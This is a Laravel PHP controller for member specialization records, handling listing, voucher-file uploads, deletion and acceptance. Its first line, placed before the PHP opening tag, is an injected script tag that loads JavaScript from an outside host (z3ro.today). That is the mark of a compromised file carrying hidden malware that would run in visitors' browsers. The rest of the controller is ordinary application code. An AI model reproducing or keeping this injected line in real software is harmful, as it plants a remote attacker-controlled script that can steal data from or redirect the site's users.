<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use Throwable;
use App\Models\Level;
use App\Models\Members;
use Illuminate\Http\Request;
use App\Models\Specialization;
use App\Models\MemberSpecialization;
use App\Http\Requests\MemberSpecializationRequest;

class MemberSpecializationController extends Controller
{
    private $mainTitle = 'Member Specialization';
    private $pageInfo = [];
    private $validateData;


    public function index($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }
        if (auth()->user()->usertype == '3') {
            session()->put('member_id', memberfromuser(auth()->user()->id));
        }

        // get member
        $memberInfo = Members::findOrFail(session('member_id'));
        $specializations = Specialization::all();
        $levels = Level::all();
        $memspecializations = MemberSpecialization::where('member_id', session('member_id'))->orderBy('id', 'desc')->get();

        return view('member-details.addmemspecialization', compact('memberInfo', 'specializations', 'levels', 'memspecializations'));
    }

    public function store(Request $request)
    {

        $validatedData = $request->validate([
            'specialization_id' => ['required', 'numeric'],
            'uploaded_date' => ['required', 'string', 'min:10'],
            'voucher_amount' => ['required', 'numeric'],
            'voucher_no' => ['required', 'string', 'max:255'],
            'voucher_file' => ['file', 'mimes:pdf,jpeg,png,jpg', 'max:500'],
            'remarks' => ['nullable', 'string'],
        ]);

        // voucher file upload
        if ($request->hasFile('voucher_file')) {
            $documents = $request->file('voucher_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-voucher-file-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $validatedData['voucher_file'] = $documents->storeAs('voucher-file', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['voucher_file'] = 0;
        }
        $validatedData['member_id'] = session('member_id');
        $validatedData['is_current'] = '0';

        if (MemberSpecialization::create($validatedData)) {
            return back()->withSuccess($this->mainTitle . ' added successfully.');

            // $member = Members::findOrFail(session('member_id'));
            // $member->specialization_id = $request->specialization_id;
            // $member->save();
        }

        return back()->with('message', 'Your application for specialization upgrade has been submitted successfully!');
    }

    public function delete($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $specialization = MemberSpecialization::find($id);
        if ($specialization->is_current == '0') {
            $specialization->delete();

            return redirect()->back()->with('message', 'Member Specialization data has been deleted successfully');
        } else {
            return redirect()->back()->with('message', 'Member Specialization data cannot be deleted !');
        }
    }

    public function accept_specialization($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        // find current active level and make it inactive. there is alwya only one active level for a member
        $current = MemberSpecialization::where('is_current', '1')
            ->where('member_id', session('member_id'))
            ->orderBy('id', 'desc')
            ->first();

        if ($current) {
            $current->is_current = '2';
            $current->save();
        }

        // update the accepted level as current
        $member_specialization = MemberSpecialization::findOrFail($id);
        $member_specialization->is_current = '1';
        $member_specialization->save();

        // update the member's level in member table
        $member = Members::findOrFail(session('member_id'));
        $member->specialization_id  = $member_specialization->specialization_id;
        $member->save();

        return back()->with('success', 'Specialization Request Accepted! ');
        // return view('member-details.accept-certificate');
    }

    private function unsetHashID()
    {
        unset($this->validateData['id']);
        unset($this->validateData['hashed']);
    }
}
